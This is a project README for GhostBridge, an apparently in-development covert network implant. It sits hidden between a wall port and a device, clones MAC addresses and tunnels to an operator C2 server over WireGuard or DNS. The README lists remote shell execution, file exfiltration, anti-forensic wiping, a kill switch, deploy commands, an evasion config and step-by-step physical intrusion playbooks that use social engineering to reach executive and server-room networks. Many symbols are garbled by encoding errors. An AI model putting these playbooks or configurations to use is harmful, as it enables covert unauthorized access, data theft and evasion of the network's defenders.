Drop it. Forget it. Own the network.
Invisible Bridge β’ Reverse VPN β’ DNS Tunneling β’ Long-term Persistence
Quick Start β’ Features β’ Architecture β’ Hardware β’ Ecosystem β’ Docs
β οΈ DEVELOPMENT STATUSThis project is currently under active development and has not been tested in a live/production environment yet. Features are being implemented and may change. Use at your own risk and only in authorized test environments. Contributions and feedback are welcome!
- What is GhostBridge?
- Key Features
- Quick Start
- Installation
- Architecture
- Supported Hardware
- Attack Scenarios
- Configuration
- CLI Reference
- MoMo Ecosystem
- Documentation
- Contributing
- License
GhostBridge is a stealthy network implant designed for Red Team operations. It sits transparently between a network port and a target device (PC, printer, etc.), creating a persistent backdoor into the corporate network.
βββββββββββββββ βββββββββββββββββββ βββββββββββββββββββ
β Wall Port βββββββΆβ GhostBridge βββββββΆβ Target Device β
β (Network) β β (Invisible L2) β β (PC/Printer) β
βββββββββββββββ ββββββββββ¬βββββββββ βββββββββββββββββββ
β
β Encrypted Tunnel
βΌ
βββββββββββββββββββ
β C2 Server β
β (Your VPS) β
βββββββββββββββββββ
| Challenge | GhostBridge Solution |
|---|---|
| π Physical access is brief | β 30-second drop & go deployment |
| π Network scans detect implants | β Layer 2 bridge - completely invisible |
| π VPNs get blocked by firewalls | β DNS tunnel fallback (port 53) |
| π New MAC triggers alerts | β Clones target device MAC address |
| π Needs external power | β Powers from target's USB port |
| π¦ Too large to conceal | β Smaller than a cigarette pack |
|
|
|
Network Bridge - Click to expand
| Feature | Description | Status |
|---|---|---|
| Transparent L2 Bridge | Invisible to network scans, no IP address | β |
| MAC Cloning | Automatically clones target device MAC | β |
| STP Disabled | Fast convergence, stealth operation | β |
| Promiscuous Mode | Full traffic visibility | β |
| Link Monitoring | Auto-detect cable changes | β |
| 802.1X Bypass | Pass-through authentication | π |
Tunnel Management - Click to expand
| Feature | Description | Status |
|---|---|---|
| WireGuard VPN | Primary encrypted tunnel | β |
| DNS Tunneling | Fallback when VPN blocked | β |
| Auto-Reconnect | Persistent with exponential backoff | β |
| Health Monitoring | Handshake age tracking | β |
| Multi-Server | Failover between C2 endpoints | β |
| TCP/443 Mode | WireGuard over HTTPS port | π |
DNS Tunneling (v0.6.0) - Click to expand
| Feature | Description | Status |
|---|---|---|
| Base32/Hex Encoding | DNS-safe data encoding | β |
| Zlib Compression | Reduced query count | β |
| 0x20 Randomization | Case randomization for evasion | β |
| TXT/NULL Records | Multiple record type support | β |
| Query Jitter | Timing randomization | β |
| Rate Limiting | Prevent detection by volume | β |
Fallback Chain:
| Priority | Method | Port | Use Case |
|---|---|---|---|
| 1 | WireGuard UDP | 51820 | Primary - fastest |
| 2 | WireGuard TCP | 443 | Firewalled networks |
| 3 | DNS Tunnel | 53 | VPN blocked |
| 4 | Auto-restore | - | Return to primary |
Stealth & Anti-Forensics - Click to expand
| Feature | Description | Status |
|---|---|---|
| RAM Logging | No persistent logs (tmpfs) | β |
| Log Suppression | Automatic sensitive file cleanup | β |
| Secure Wipe | Multi-pass overwrite on panic | β |
| Fake Identity | Responds as "Netgear Switch" | β |
| Threat Detection | Monitor for scanning tools | β |
| Kill Switch | Remote self-destruct command | β |
| Encrypted Storage | dm-crypt filesystem | π |
C2 Integration - Click to expand
| Feature | Description | Status |
|---|---|---|
| Beacon Service | Periodic heartbeat with jitter | β |
| Command Polling | Receive commands from Nexus | β |
| Shell Execution | Remote command execution | β |
| File Upload | Exfiltrate data to C2 | β |
| Config Push | Remote configuration updates | β |
| Health Reports | System stats & diagnostics | β |
# Clone and install
git clone https://github.com/M0M0Sec/Momo-GhostBridge.git
cd Momo-GhostBridge
pip install -e ".[dev]"
# Verify installation
ghostbridge --version
ghostbridge test# Generate configuration
ghostbridge config generate -o config.yml
# Edit with your C2 details
nano config.yml
# Deploy to NanoPi R2S
sudo ./scripts/deploy.sh "vpn.yourserver.com:51820" "SERVER_PUBKEY"
# Start service
ghostbridge runghostbridge status # Check system status
ghostbridge health # Run health check
ghostbridge tunnel status # Check tunnel connection| Requirement | Minimum | Recommended |
|---|---|---|
| Hardware | Orange Pi R1+ LTS | NanoPi R2S Plus |
| OS | Armbian / DietPi | Armbian Bookworm |
| Python | 3.11 | 3.12+ |
| Network | 2x Ethernet | 2x Gigabit Ethernet |
| Storage | 8GB SD | 32GB eMMC |
# Clone repository
git clone https://github.com/M0M0Sec/Momo-GhostBridge.git
cd Momo-GhostBridge
# Create virtual environment
python3 -m venv .venv
source .venv/bin/activate
# Install with dependencies
pip install -e ".[dev]"
# Run tests
pytest tests/ -v# Install system dependencies
sudo apt install -y wireguard-tools bridge-utils
# Install GhostBridge
pip install ghostbridge
# Copy configuration
sudo mkdir -p /etc/ghostbridge
sudo cp config/config.example.yml /etc/ghostbridge/config.yml
# Install systemd service
sudo cp services/ghostbridge.service /etc/systemd/system/
sudo systemctl enable --now ghostbridge# Clone with submodules
git clone --recursive https://github.com/M0M0Sec/Momo-GhostBridge.git
cd Momo-GhostBridge
# Install dev dependencies
pip install -e ".[dev]"
# Setup pre-commit hooks
pre-commit install
# Run full test suite
make test
# Run linting
make lintβββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β GHOSTBRIDGE CORE β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β βββββββββββββββ βββββββββββββββ βββββββββββββββ βββββββββββββββ β
β β Bridge β β Tunnel β β Beacon β β Stealth β β
β β Engine β β Manager β β Service β β Module β β
β ββββββββ¬βββββββ ββββββββ¬βββββββ ββββββββ¬βββββββ ββββββββ¬βββββββ β
β β β β β β
βββββββββββ΄βββββββββββββββββ΄βββββββββββββββββ΄βββββββββββββββββ΄βββββββββββββ€
β INFRASTRUCTURE β
β ββββββββββββ ββββββββββββ ββββββββββββ ββββββββββββ ββββββββββββ β
β β Network β βWireGuard β β DNS β β System β β C2 β β
β β Manager β β Manager β β Tunnel β β (Wipe) β β Client β β
β ββββββββββββ ββββββββββββ ββββββββββββ ββββββββββββ ββββββββββββ β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
CORPORATE NETWORK
β
ββββββββββββββββ΄βββββββββββββββ
β β
ββββββββΌβββββββ βββββββββΌββββββββ
β eth0 β β eth1 β
β (WAN) β β (LAN) β
β To Wall β β To Target β
ββββββββ¬βββββββ βββββββββ¬ββββββββ
β β
ββββββββββββ¬βββββββββββββββββββ
β
ββββββββΌβββββββ
β br0 β βββ Transparent Bridge
β (Bridge) β No IP Address
βββββββββββββββ
β
ββββββββΌβββββββ
β wg0 β βββ Encrypted Tunnel
β 10.66.66.x β To C2 Server
βββββββββββββββ
ghostbridge/
βββ src/ghostbridge/
β βββ main.py # Main orchestrator
β βββ cli.py # Command line interface (Click)
β β
β βββ core/ # Core business logic
β β βββ config.py # Pydantic configuration
β β βββ bridge.py # L2 Bridge manager
β β βββ tunnel.py # Tunnel orchestration
β β βββ stealth.py # Anti-forensics
β β
β βββ infrastructure/ # Hardware & network abstraction
β β βββ network/ # iproute2 wrapper, bridge ops
β β βββ wireguard/ # WireGuard management
β β βββ dns/ # DNS tunneling (NEW v0.6.0)
β β β βββ encoder.py # Base32/Hex encoding
β β β βββ client.py # Async DNS client
β β β βββ tunnel.py # DNS tunnel manager
β β βββ system/ # RAM disk, secure wipe
β β
β βββ c2/ # C2 communication
β βββ client.py # MoMo API client
β βββ beacon.py # Heartbeat service
β βββ commands.py # Command handlers
β
βββ config/ # Configuration templates
βββ scripts/ # Deployment scripts
βββ services/ # Systemd service files
βββ tests/ # Test suite (87 tests)
β βββ test_bridge.py
β βββ test_tunnel.py
β βββ test_dns_tunnel.py
β βββ ...
βββ docs/ # Documentation
| Device | CPU | RAM | Network | Price | Rating |
|---|---|---|---|---|---|
| NanoPi R2S Plus | RK3328 Quad A53 | 1GB DDR4 | 2x Gigabit | $45 | βββ |
| Orange Pi R1+ LTS | RK3328 Quad A53 | 1GB DDR4 | 2x Gigabit | $35 | βββ |
| NanoPi R4S | RK3399 Hexa-core | 4GB DDR4 | 2x Gigabit | $75 | ββ |
| PC Engines APU2 | AMD GX-412TC | 4GB DDR3 | 3x Gigabit | $180 | β |
| Item | Purpose | Cost |
|---|---|---|
| Orange Pi R1+ LTS / NanoPi R2S | Main board | $35-45 |
| MicroSD Card 32GB (Class 10) | OS + Storage | $10 |
| Short Ethernet Cable (30cm) | LAN connection | $3 |
| USB-A to USB-C Cable | Power from target | $5 |
| 3D Printed Case (optional) | Concealment | $10 |
ββββββββββββββββββββββββββββββββββ
β β β β β β
β ββββ ββββ ββββββββ NanoPi β
β βWAβ βLAβ β USB-Cβ R2S β
β βN β βN β β β β
β ββββ ββββ ββββββββ 55x52mm β
ββββββββββββββββββββββββββββββββββ
β² β² β²
β β β
To Wall β Power from
β Target USB
To Target
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β PHYSICAL ACCESS: ~30 seconds β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
β 1. Enter office as "IT Support" or maintenance β
β 2. Find network printer in corner/hallway β
β 3. Unplug printer's ethernet from wall port β
β 4. Insert GhostBridge between wall and printer β
β 5. Power GhostBridge from printer's USB port β
β 6. Walk away - device auto-tunnels to your C2 β
β β
β βββββββββββ βββββββββββββββ βββββββββββ β
β β Wall βββββΆβ GhostBridge βββββΆβ Printer β β
β β Port β β (hidden) β β β β
β βββββββββββ ββββββββ¬βββββββ ββββββ¬βββββ β
β β β β
β β USB Power β β
β ββββββββββββββββββ β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β TARGET: C-Suite network segment β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
β 1. Social engineer access to executive floor β
β 2. Locate target's desk (after hours preferred) β
β 3. Install between wall port and docking station β
β 4. GhostBridge clones docking station's MAC β
β 5. Full access to executive VLAN β
β β
β RESULT: Persistent access to sensitive network segment β
β β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β TARGET: Management network / Out-of-band access β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
β 1. Gain brief physical access to server room β
β 2. Find unused switch port or KVM connection β
β 3. Deploy GhostBridge on management VLAN β
β 4. Access iLO/iDRAC/IPMI interfaces β
β β
β RESULT: Complete infrastructure control β
β β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# /etc/ghostbridge/config.yml
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# Device Identity
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
device:
id: ghost-001 # Unique device identifier
name: "Office Printer Bridge" # Human-readable name
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# Network Bridge
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
network:
bridge_name: br0
wan_interface: eth0 # To wall port
lan_interface: eth1 # To target device
clone_mac: true # Clone target's MAC to WAN
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# Tunnel Configuration
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
tunnel:
type: wireguard
interface: wg0
endpoint: vpn.yourserver.com:51820
keepalive: 25
reconnect_delays: [5, 10, 30, 60, 300]
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# DNS Tunnel Fallback
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
dns_tunnel:
enabled: true
domain: tunnel.yourserver.com
nameservers: ["8.8.8.8", "1.1.1.1"]
encoder: base32 # base32, hex
poll_interval: 30
randomize_case: true # 0x20 evasion
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# C2 Beacon
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
beacon:
enabled: true
interval: 300 # 5 minutes
jitter: 60 # Β±60 seconds randomization
c2:
api_endpoint: "http://10.66.66.1:8082/api/ghostbridge"
timeout: 30
verify_ssl: true
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# Stealth Settings
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
stealth:
ramfs_logs: true # No persistent logs
fake_identity: "Netgear GS105" # Identity if probed
panic_on_tamper: true # Auto-wipe on detection
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# Logging
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
logging:
level: WARNING # DEBUG, INFO, WARNING, ERROR
to_disk: false # NEVER in production
max_lines: 1000# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# General Commands
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ghostbridge version # Show version info
ghostbridge status # Show system status
ghostbridge health # Run health check
ghostbridge test # Run self-tests
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# Running GhostBridge
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ghostbridge run # Start full system
ghostbridge run -c /path/to/config # Custom config
ghostbridge start # Start bridge only
ghostbridge start --mode monitor # Bridge + monitoring
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# Tunnel Management
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ghostbridge tunnel connect # Connect VPN tunnel
ghostbridge tunnel disconnect # Disconnect tunnel
ghostbridge tunnel reconnect # Force reconnection
ghostbridge tunnel status # Show tunnel status
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# Stealth Operations
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ghostbridge stealth wipe # Wipe all logs
ghostbridge stealth check # Check for threats
ghostbridge stealth status # Show stealth status
ghostbridge stealth panic # EMERGENCY WIPE (irreversible!)
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# Configuration
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ghostbridge config show # Display current config
ghostbridge config generate -o f # Generate template
ghostbridge config validate # Validate config fileGhostBridge is part of an integrated offensive security ecosystem:
βοΈ CLOUD LAYER
βββββββββββββββββββββββββββββββββββ
β GPU Cracking β Evilginx VPS β
ββββββββββββββββββ¬βββββββββββββββββ
β
ββββββββΌβββββββ
β β
β π’ NEXUS β
β Central Hub β
β v1.1.0 β
ββββββββ¬βββββββ
β
βββββββββββββββββ¬ββββββββββββββββΌββββββββββββββββ¬ββββββββββββββββ
β β β β β
ββββββΌβββββ ββββββββΌβββββββ ββββββββΌβββββββ ββββββββΌβββββββ ββββββββΌβββββββ
β β β β β β β β β β
βπ΅ MOMO β βπ»GHOSTBRIDGEβ β π MIMIC β β π€ SHADOW β β Future β
βWiFi/BLE β β Network β β USB Attack β β WiFi Recon β β Projects β
β Pi 5 β β Implant β β Pi Zero β β Pi Zero β β ... β
β v1.7.0 β β v0.6.0 β β v1.0.0 β β v0.1.0 β β β
βββββββββββ βββββββββββββββ βββββββββββββββ βββββββββββββββ βββββββββββββββ
| Project | Description | Platform | Version | Status |
|---|---|---|---|---|
| π΅ MoMo | WiFi/BLE/SDR Audit Platform | Raspberry Pi 5 | v1.7.0 | β |
| π’ Nexus | Central C2 Hub & Dashboard | Raspberry Pi 4 | v1.1.0 | β |
| π» GhostBridge | Transparent Network Implant | NanoPi R2S | v0.6.0 | β |
| π Mimic | USB Attack Platform | Pi Zero 2W | v1.0.0 | β |
| π€ Shadow | Stealth WiFi Recon Device | Pi Zero 2W | v0.1.0 | π |
| Document | Description |
|---|---|
| π ARCHITECTURE.md | Technical architecture & design |
| π DEPLOYMENT.md | Deployment & installation guide |
| π OPERATIONS.md | Operational security & OPSEC |
| πΊοΈ ROADMAP.md | Development roadmap |
| Version | Feature | Status |
|---|---|---|
| v0.1.0 | Core Infrastructure | β |
| v0.2.0 | Bridge Engine | β |
| v0.3.0 | WireGuard Tunnel | β |
| v0.4.0 | Beacon Service | β |
| v0.5.0 | Stealth Module | β |
| v0.6.0 | DNS Tunneling | β NEW |
| v0.7.0 | Encrypted Storage | π |
| v0.8.0 | 802.1X Bypass | π |
| v1.0.0 | Production Ready | π |
Statistics:
- π 87 Tests passing
- π 82% Coverage
- π 4 Core Modules
- π‘οΈ 3 Tunnel Types
Contributions are welcome! Please read our contributing guidelines.
# Setup
git clone https://github.com/M0M0Sec/Momo-GhostBridge.git
cd Momo-GhostBridge
pip install -e ".[dev]"
# Test
pytest tests/ -v --cov=ghostbridge
# Lint
ruff check src/
mypy src/
# Format
black src/type(scope): description
Types: feat, fix, docs, style, refactor, test, chore
GhostBridge is designed for authorized Red Team operations and security research only.
- β Only deploy on networks you own or have explicit written authorization to test
- β Unauthorized deployment is illegal in most jurisdictions
- β Always obtain proper authorization before any engagement
- β The developers are not responsible for misuse of this tool
- β Unauthorized network access is a criminal offense
This project is part of the MoMo ecosystem and is licensed under the MIT License.
Part of the π₯ MoMo Ecosystem
Offensive Security Toolkit for Red Teams
π΅ MoMo β’ π’ Nexus β’ π» GhostBridge β’ π Mimic β’ π€ Shadow
Made with β€οΈ by the MoMo Team